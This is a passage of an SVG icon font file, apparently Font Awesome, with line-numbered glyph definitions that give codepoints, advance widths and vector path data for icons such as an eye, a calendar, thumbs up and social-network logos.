138 <glyph unicode="&#xf06e;" horiz-adv-x="1792" d="M1664 576q-152 236 -381 353q61 -104 61 -225q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 121 61 225q-229 -117 -381 -353q133 -205 333.5 -326.5t434.5 -121.5t434.5 121.5t333.5 326.5zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5 t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1792 576q0 -34 -20 -69q-140 -230 -376.5 -368.5t-499.5 -138.5t-499.5 139t-376.5 368q-20 35 -20 69t20 69q140 229 376.5 368t499.5 139t499.5 -139t376.5 -368q20 -35 20 -69z" />
139 <glyph unicode="&#xf070;" horiz-adv-x="1792" d="M555 201l78 141q-87 63 -136 159t-49 203q0 121 61 225q-229 -117 -381 -353q167 -258 427 -375zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1307 1151q0 -7 -1 -9 q-105 -188 -315 -566t-316 -567l-49 -89q-10 -16 -28 -16q-12 0 -134 70q-16 10 -16 28q0 12 44 87q-143 65 -263.5 173t-208.5 245q-20 31 -20 69t20 69q153 235 380 371t496 136q89 0 180 -17l54 97q10 16 28 16q5 0 18 -6t31 -15.5t33 -18.5t31.5 -18.5t19.5 -11.5 q16 -10 16 -27zM1344 704q0 -139 -79 -253.5t-209 -164.5l280 502q8 -45 8 -84zM1792 576q0 -35 -20 -69q-39 -64 -109 -145q-150 -172 -347.5 -267t-419.5 -95l74 132q212 18 392.5 137t301.5 307q-115 179 -282 294l63 112q95 -64 182.5 -153t144.5 -184q20 -34 20 -69z " />
140 <glyph unicode="&#xf071;" horiz-adv-x="1792" d="M1024 161v190q0 14 -9.5 23.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -23.5v-190q0 -14 9.5 -23.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 23.5zM1022 535l18 459q0 12 -10 19q-13 11 -24 11h-220q-11 0 -24 -11q-10 -7 -10 -21l17 -457q0 -10 10 -16.5t24 -6.5h185 q14 0 23.5 6.5t10.5 16.5zM1008 1469l768 -1408q35 -63 -2 -126q-17 -29 -46.5 -46t-63.5 -17h-1536q-34 0 -63.5 17t-46.5 46q-37 63 -2 126l768 1408q17 31 47 49t65 18t65 -18t47 -49z" />
141 <glyph unicode="&#xf072;" horiz-adv-x="1408" d="M1376 1376q44 -52 12 -148t-108 -172l-161 -161l160 -696q5 -19 -12 -33l-128 -96q-7 -6 -19 -6q-4 0 -7 1q-15 3 -21 16l-279 508l-259 -259l53 -194q5 -17 -8 -31l-96 -96q-9 -9 -23 -9h-2q-15 2 -24 13l-189 252l-252 189q-11 7 -13 23q-1 13 9 25l96 97q9 9 23 9 q6 0 8 -1l194 -53l259 259l-508 279q-14 8 -17 24q-2 16 9 27l128 128q14 13 30 8l665 -159l160 160q76 76 172 108t148 -12z" />
142 <glyph unicode="&#xf073;" horiz-adv-x="1664" d="M128 -128h288v288h-288v-288zM480 -128h320v288h-320v-288zM128 224h288v320h-288v-320zM480 224h320v320h-320v-320zM128 608h288v288h-288v-288zM864 -128h320v288h-320v-288zM480 608h320v288h-320v-288zM1248 -128h288v288h-288v-288zM864 224h320v320h-320v-320z M512 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1248 224h288v320h-288v-320zM864 608h320v288h-320v-288zM1248 608h288v288h-288v-288zM1280 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64 q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47 h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
143 <glyph unicode="&#xf074;" horiz-adv-x="1792" d="M666 1055q-60 -92 -137 -273q-22 45 -37 72.5t-40.5 63.5t-51 56.5t-63 35t-81.5 14.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q250 0 410 -225zM1792 256q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192q-32 0 -85 -0.5t-81 -1t-73 1 t-71 5t-64 10.5t-63 18.5t-58 28.5t-59 40t-55 53.5t-56 69.5q59 93 136 273q22 -45 37 -72.5t40.5 -63.5t51 -56.5t63 -35t81.5 -14.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1792 1152q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5 v192h-256q-48 0 -87 -15t-69 -45t-51 -61.5t-45 -77.5q-32 -62 -78 -171q-29 -66 -49.5 -111t-54 -105t-64 -100t-74 -83t-90 -68.5t-106.5 -42t-128 -16.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q48 0 87 15t69 45t51 61.5t45 77.5q32 62 78 171q29 66 49.5 111 t54 105t64 100t74 83t90 68.5t106.5 42t128 16.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
144 <glyph unicode="&#xf075;" horiz-adv-x="1792" d="M1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22q-17 -2 -30.5 9t-17.5 29v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281 q0 130 71 248.5t191 204.5t286 136.5t348 50.5q244 0 450 -85.5t326 -233t120 -321.5z" />
145 <glyph unicode="&#xf076;" d="M1536 704v-128q0 -201 -98.5 -362t-274 -251.5t-395.5 -90.5t-395.5 90.5t-274 251.5t-98.5 362v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-128q0 -52 23.5 -90t53.5 -57t71 -30t64 -13t44 -2t44 2t64 13t71 30t53.5 57t23.5 90v128q0 26 19 45t45 19h384 q26 0 45 -19t19 -45zM512 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45zM1536 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45z" />
146 <glyph unicode="&#xf077;" horiz-adv-x="1792" d="M1683 205l-166 -165q-19 -19 -45 -19t-45 19l-531 531l-531 -531q-19 -19 -45 -19t-45 19l-166 165q-19 19 -19 45.5t19 45.5l742 741q19 19 45 19t45 -19l742 -741q19 -19 19 -45.5t-19 -45.5z" />
147 <glyph unicode="&#xf078;" horiz-adv-x="1792" d="M1683 728l-742 -741q-19 -19 -45 -19t-45 19l-742 741q-19 19 -19 45.5t19 45.5l166 165q19 19 45 19t45 -19l531 -531l531 531q19 19 45 19t45 -19l166 -165q19 -19 19 -45.5t-19 -45.5z" />
148 <glyph unicode="&#xf079;" horiz-adv-x="1920" d="M1280 32q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-8 0 -13.5 2t-9 7t-5.5 8t-3 11.5t-1 11.5v13v11v160v416h-192q-26 0 -45 19t-19 45q0 24 15 41l320 384q19 22 49 22t49 -22l320 -384q15 -17 15 -41q0 -26 -19 -45t-45 -19h-192v-384h576q16 0 25 -11l160 -192q7 -11 7 -21 zM1920 448q0 -24 -15 -41l-320 -384q-20 -23 -49 -23t-49 23l-320 384q-15 17 -15 41q0 26 19 45t45 19h192v384h-576q-16 0 -25 12l-160 192q-7 9 -7 20q0 13 9.5 22.5t22.5 9.5h960q8 0 13.5 -2t9 -7t5.5 -8t3 -11.5t1 -11.5v-13v-11v-160v-416h192q26 0 45 -19t19 -45z " />
149 <glyph unicode="&#xf07a;" horiz-adv-x="1664" d="M640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5 l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5 t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
150 <glyph unicode="&#xf07b;" horiz-adv-x="1664" d="M1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
151 <glyph unicode="&#xf07c;" horiz-adv-x="1920" d="M1879 584q0 -31 -31 -66l-336 -396q-43 -51 -120.5 -86.5t-143.5 -35.5h-1088q-34 0 -60.5 13t-26.5 43q0 31 31 66l336 396q43 51 120.5 86.5t143.5 35.5h1088q34 0 60.5 -13t26.5 -43zM1536 928v-160h-832q-94 0 -197 -47.5t-164 -119.5l-337 -396l-5 -6q0 4 -0.5 12.5 t-0.5 12.5v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158z" />
152 <glyph unicode="&#xf07d;" horiz-adv-x="768" d="M704 1216q0 -26 -19 -45t-45 -19h-128v-1024h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v1024h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45z" />
153 <glyph unicode="&#xf07e;" horiz-adv-x="1792" d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-1024v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h1024v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
154 <glyph unicode="&#xf080;" horiz-adv-x="2048" d="M640 640v-512h-256v512h256zM1024 1152v-1024h-256v1024h256zM2048 0v-128h-2048v1536h128v-1408h1920zM1408 896v-768h-256v768h256zM1792 1280v-1152h-256v1152h256z" />
155 <glyph unicode="&#xf081;" d="M1280 926q-56 -25 -121 -34q68 40 93 117q-65 -38 -134 -51q-61 66 -153 66q-87 0 -148.5 -61.5t-61.5 -148.5q0 -29 5 -48q-129 7 -242 65t-192 155q-29 -50 -29 -106q0 -114 91 -175q-47 1 -100 26v-2q0 -75 50 -133.5t123 -72.5q-29 -8 -51 -8q-13 0 -39 4 q21 -63 74.5 -104t121.5 -42q-116 -90 -261 -90q-26 0 -50 3q148 -94 322 -94q112 0 210 35.5t168 95t120.5 137t75 162t24.5 168.5q0 18 -1 27q63 45 105 109zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5 t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
156 <glyph unicode="&#xf082;" d="M1536 160q0 -119 -84.5 -203.5t-203.5 -84.5h-192v608h203l30 224h-233v143q0 54 28 83t96 29l132 1v207q-96 9 -180 9q-136 0 -218 -80.5t-82 -225.5v-166h-224v-224h224v-608h-544q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960 q119 0 203.5 -84.5t84.5 -203.5v-960z" />
157 <glyph unicode="&#xf083;" horiz-adv-x="1792" d="M928 704q0 14 -9 23t-23 9q-66 0 -113 -47t-47 -113q0 -14 9 -23t23 -9t23 9t9 23q0 40 28 68t68 28q14 0 23 9t9 23zM1152 574q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM128 0h1536v128h-1536v-128zM1280 574q0 159 -112.5 271.5 t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM256 1216h384v128h-384v-128zM128 1024h1536v118v138h-828l-64 -128h-644v-128zM1792 1280v-1280q0 -53 -37.5 -90.5t-90.5 -37.5h-1536q-53 0 -90.5 37.5t-37.5 90.5v1280 q0 53 37.5 90.5t90.5 37.5h1536q53 0 90.5 -37.5t37.5 -90.5z" />
158 <glyph unicode="&#xf084;" horiz-adv-x="1792" d="M832 1024q0 80 -56 136t-136 56t-136 -56t-56 -136q0 -42 19 -83q-41 19 -83 19q-80 0 -136 -56t-56 -136t56 -136t136 -56t136 56t56 136q0 42 -19 83q41 -19 83 -19q80 0 136 56t56 136zM1683 320q0 -17 -49 -66t-66 -49q-9 0 -28.5 16t-36.5 33t-38.5 40t-24.5 26 l-96 -96l220 -220q28 -28 28 -68q0 -42 -39 -81t-81 -39q-40 0 -68 28l-671 671q-176 -131 -365 -131q-163 0 -265.5 102.5t-102.5 265.5q0 160 95 313t248 248t313 95q163 0 265.5 -102.5t102.5 -265.5q0 -189 -131 -365l355 -355l96 96q-3 3 -26 24.5t-40 38.5t-33 36.5 t-16 28.5q0 17 49 66t66 49q13 0 23 -10q6 -6 46 -44.5t82 -79.5t86.5 -86t73 -78t28.5 -41z" />
159 <glyph unicode="&#xf085;" horiz-adv-x="1920" d="M896 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1664 128q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1152q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5 t90.5 37.5t37.5 90.5zM1280 731v-185q0 -10 -7 -19.5t-16 -10.5l-155 -24q-11 -35 -32 -76q34 -48 90 -115q7 -10 7 -20q0 -12 -7 -19q-23 -30 -82.5 -89.5t-78.5 -59.5q-11 0 -21 7l-115 90q-37 -19 -77 -31q-11 -108 -23 -155q-7 -24 -30 -24h-186q-11 0 -20 7.5t-10 17.5 l-23 153q-34 10 -75 31l-118 -89q-7 -7 -20 -7q-11 0 -21 8q-144 133 -144 160q0 9 7 19q10 14 41 53t47 61q-23 44 -35 82l-152 24q-10 1 -17 9.5t-7 19.5v185q0 10 7 19.5t16 10.5l155 24q11 35 32 76q-34 48 -90 115q-7 11 -7 20q0 12 7 20q22 30 82 89t79 59q11 0 21 -7 l115 -90q34 18 77 32q11 108 23 154q7 24 30 24h186q11 0 20 -7.5t10 -17.5l23 -153q34 -10 75 -31l118 89q8 7 20 7q11 0 21 -8q144 -133 144 -160q0 -9 -7 -19q-12 -16 -42 -54t-45 -60q23 -48 34 -82l152 -23q10 -2 17 -10.5t7 -19.5zM1920 198v-140q0 -16 -149 -31 q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20 t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31zM1920 1222v-140q0 -16 -149 -31q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68 q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70 q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31z" />
160 <glyph unicode="&#xf086;" horiz-adv-x="1792" d="M1408 768q0 -139 -94 -257t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224 q0 139 94 257t256.5 186.5t353.5 68.5t353.5 -68.5t256.5 -186.5t94 -257zM1792 512q0 -120 -71 -224.5t-195 -176.5q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7 q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230z" />
161 <glyph unicode="&#xf087;" d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 768q0 51 -39 89.5t-89 38.5h-352q0 58 48 159.5t48 160.5q0 98 -32 145t-128 47q-26 -26 -38 -85t-30.5 -125.5t-59.5 -109.5q-22 -23 -77 -91q-4 -5 -23 -30t-31.5 -41t-34.5 -42.5 t-40 -44t-38.5 -35.5t-40 -27t-35.5 -9h-32v-640h32q13 0 31.5 -3t33 -6.5t38 -11t35 -11.5t35.5 -12.5t29 -10.5q211 -73 342 -73h121q192 0 192 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5q32 1 53.5 47t21.5 81zM1536 769 q0 -89 -49 -163q9 -33 9 -69q0 -77 -38 -144q3 -21 3 -43q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5h-36h-93q-96 0 -189.5 22.5t-216.5 65.5q-116 40 -138 40h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h274q36 24 137 155q58 75 107 128 q24 25 35.5 85.5t30.5 126.5t62 108q39 37 90 37q84 0 151 -32.5t102 -101.5t35 -186q0 -93 -48 -192h176q104 0 180 -76t76 -179z" />
162 <glyph unicode="&#xf088;" d="M256 1088q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 512q0 35 -21.5 81t-53.5 47q15 17 25 47.5t10 55.5q0 69 -53 119q18 32 18 69t-17.5 73.5t-47.5 52.5q5 30 5 56q0 85 -49 126t-136 41h-128q-131 0 -342 -73q-5 -2 -29 -10.5 t-35.5 -12.5t-35 -11.5t-38 -11t-33 -6.5t-31.5 -3h-32v-640h32q16 0 35.5 -9t40 -27t38.5 -35.5t40 -44t34.5 -42.5t31.5 -41t23 -30q55 -68 77 -91q41 -43 59.5 -109.5t30.5 -125.5t38 -85q96 0 128 47t32 145q0 59 -48 160.5t-48 159.5h352q50 0 89 38.5t39 89.5z M1536 511q0 -103 -76 -179t-180 -76h-176q48 -99 48 -192q0 -118 -35 -186q-35 -69 -102 -101.5t-151 -32.5q-51 0 -90 37q-34 33 -54 82t-25.5 90.5t-17.5 84.5t-31 64q-48 50 -107 127q-101 131 -137 155h-274q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5 h288q22 0 138 40q128 44 223 66t200 22h112q140 0 226.5 -79t85.5 -216v-5q60 -77 60 -178q0 -22 -3 -43q38 -67 38 -144q0 -36 -9 -69q49 -74 49 -163z" />
163 <glyph unicode="&#xf089;" horiz-adv-x="896" d="M832 1504v-1339l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41z" />
164 <glyph unicode="&#xf08a;" horiz-adv-x="1792" d="M1664 940q0 81 -21.5 143t-55 98.5t-81.5 59.5t-94 31t-98 8t-112 -25.5t-110.5 -64t-86.5 -72t-60 -61.5q-18 -22 -49 -22t-49 22q-24 28 -60 61.5t-86.5 72t-110.5 64t-112 25.5t-98 -8t-94 -31t-81.5 -59.5t-55 -98.5t-21.5 -143q0 -168 187 -355l581 -560l580 559 q188 188 188 356zM1792 940q0 -221 -229 -450l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5 q224 0 351 -124t127 -344z" />
165 <glyph unicode="&#xf08b;" horiz-adv-x="1664" d="M640 96q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h320q13 0 22.5 -9.5t9.5 -22.5q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-66 0 -113 -47t-47 -113v-704 q0 -66 47 -113t113 -47h288h11h13t11.5 -1t11.5 -3t8 -5.5t7 -9t2 -13.5zM1568 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45z" />
166 <glyph unicode="&#xf08c;" d="M237 122h231v694h-231v-694zM483 1030q-1 52 -36 86t-93 34t-94.5 -34t-36.5 -86q0 -51 35.5 -85.5t92.5 -34.5h1q59 0 95 34.5t36 85.5zM1068 122h231v398q0 154 -73 233t-193 79q-136 0 -209 -117h2v101h-231q3 -66 0 -694h231v388q0 38 7 56q15 35 45 59.5t74 24.5 q116 0 116 -157v-371zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
167 <glyph unicode="&#xf08d;" horiz-adv-x="1152" d="M480 672v448q0 14 -9 23t-23 9t-23 -9t-9 -23v-448q0 -14 9 -23t23 -9t23 9t9 23zM1152 320q0 -26 -19 -45t-45 -19h-429l-51 -483q-2 -12 -10.5 -20.5t-20.5 -8.5h-1q-27 0 -32 27l-76 485h-404q-26 0 -45 19t-19 45q0 123 78.5 221.5t177.5 98.5v512q-52 0 -90 38 t-38 90t38 90t90 38h640q52 0 90 -38t38 -90t-38 -90t-90 -38v-512q99 0 177.5 -98.5t78.5 -221.5z" />
168 <glyph unicode="&#xf08e;" horiz-adv-x="1792" d="M1408 608v-320q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v320 q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1792 1472v-512q0 -26 -19 -45t-45 -19t-45 19l-176 176l-652 -652q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l652 652l-176 176q-19 19 -19 45t19 45t45 19h512q26 0 45 -19t19 -45z" />
169 <glyph unicode="&#xf090;" d="M1184 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45zM1536 992v-704q0 -119 -84.5 -203.5t-203.5 -84.5h-320q-13 0 -22.5 9.5t-9.5 22.5 q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q66 0 113 47t47 113v704q0 66 -47 113t-113 47h-288h-11h-13t-11.5 1t-11.5 3t-8 5.5t-7 9t-2 13.5q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q119 0 203.5 -84.5t84.5 -203.5z" />
170 <glyph unicode="&#xf091;" horiz-adv-x="1664" d="M458 653q-74 162 -74 371h-256v-96q0 -78 94.5 -162t235.5 -113zM1536 928v96h-256q0 -209 -74 -371q141 29 235.5 113t94.5 162zM1664 1056v-128q0 -71 -41.5 -143t-112 -130t-173 -97.5t-215.5 -44.5q-42 -54 -95 -95q-38 -34 -52.5 -72.5t-14.5 -89.5q0 -54 30.5 -91 t97.5 -37q75 0 133.5 -45.5t58.5 -114.5v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 69 58.5 114.5t133.5 45.5q67 0 97.5 37t30.5 91q0 51 -14.5 89.5t-52.5 72.5q-53 41 -95 95q-113 5 -215.5 44.5t-173 97.5t-112 130t-41.5 143v128q0 40 28 68t68 28h288v96 q0 66 47 113t113 47h576q66 0 113 -47t47 -113v-96h288q40 0 68 -28t28 -68z" />
171 <glyph unicode="&#xf092;" d="M394 184q-8 -9 -20 3q-13 11 -4 19q8 9 20 -3q12 -11 4 -19zM352 245q9 -12 0 -19q-8 -6 -17 7t0 18q9 7 17 -6zM291 305q-5 -7 -13 -2q-10 5 -7 12q3 5 13 2q10 -5 7 -12zM322 271q-6 -7 -16 3q-9 11 -2 16q6 6 16 -3q9 -11 2 -16zM451 159q-4 -12 -19 -6q-17 4 -13 15 t19 7q16 -5 13 -16zM514 154q0 -11 -16 -11q-17 -2 -17 11q0 11 16 11q17 2 17 -11zM572 164q2 -10 -14 -14t-18 8t14 15q16 2 18 -9zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-224q-16 0 -24.5 1t-19.5 5t-16 14.5t-5 27.5v239q0 97 -52 142q57 6 102.5 18t94 39 t81 66.5t53 105t20.5 150.5q0 121 -79 206q37 91 -8 204q-28 9 -81 -11t-92 -44l-38 -24q-93 26 -192 26t-192 -26q-16 11 -42.5 27t-83.5 38.5t-86 13.5q-44 -113 -7 -204q-79 -85 -79 -206q0 -85 20.5 -150t52.5 -105t80.5 -67t94 -39t102.5 -18q-40 -36 -49 -103 q-21 -10 -45 -15t-57 -5t-65.5 21.5t-55.5 62.5q-19 32 -48.5 52t-49.5 24l-20 3q-21 0 -29 -4.5t-5 -11.5t9 -14t13 -12l7 -5q22 -10 43.5 -38t31.5 -51l10 -23q13 -38 44 -61.5t67 -30t69.5 -7t55.5 3.5l23 4q0 -38 0.5 -103t0.5 -68q0 -22 -11 -33.5t-22 -13t-33 -1.5 h-224q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
172 <glyph unicode="&#xf093;" horiz-adv-x="1664" d="M1280 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 288v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h427q21 -56 70.5 -92 t110.5 -36h256q61 0 110.5 36t70.5 92h427q40 0 68 -28t28 -68zM1339 936q-17 -40 -59 -40h-256v-448q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v448h-256q-42 0 -59 40q-17 39 14 69l448 448q18 19 45 19t45 -19l448 -448q31 -30 14 -69z" />
173 <glyph unicode="&#xf094;" d="M1407 710q0 44 -7 113.5t-18 96.5q-12 30 -17 44t-9 36.5t-4 48.5q0 23 5 68.5t5 67.5q0 37 -10 55q-4 1 -13 1q-19 0 -58 -4.5t-59 -4.5q-60 0 -176 24t-175 24q-43 0 -94.5 -11.5t-85 -23.5t-89.5 -34q-137 -54 -202 -103q-96 -73 -159.5 -189.5t-88 -236t-24.5 -248.5 q0 -40 12.5 -120t12.5 -121q0 -23 -11 -66.5t-11 -65.5t12 -36.5t34 -14.5q24 0 72.5 11t73.5 11q57 0 169.5 -15.5t169.5 -15.5q181 0 284 36q129 45 235.5 152.5t166 245.5t59.5 275zM1535 712q0 -165 -70 -327.5t-196 -288t-281 -180.5q-124 -44 -326 -44 q-57 0 -170 14.5t-169 14.5q-24 0 -72.5 -14.5t-73.5 -14.5q-73 0 -123.5 55.5t-50.5 128.5q0 24 11 68t11 67q0 40 -12.5 120.5t-12.5 121.5q0 111 18 217.5t54.5 209.5t100.5 194t150 156q78 59 232 120q194 78 316 78q60 0 175.5 -24t173.5 -24q19 0 57 5t58 5 q81 0 118 -50.5t37 -134.5q0 -23 -5 -68t-5 -68q0 -10 1 -18.5t3 -17t4 -13.5t6.5 -16t6.5 -17q16 -40 25 -118.5t9 -136.5z" />
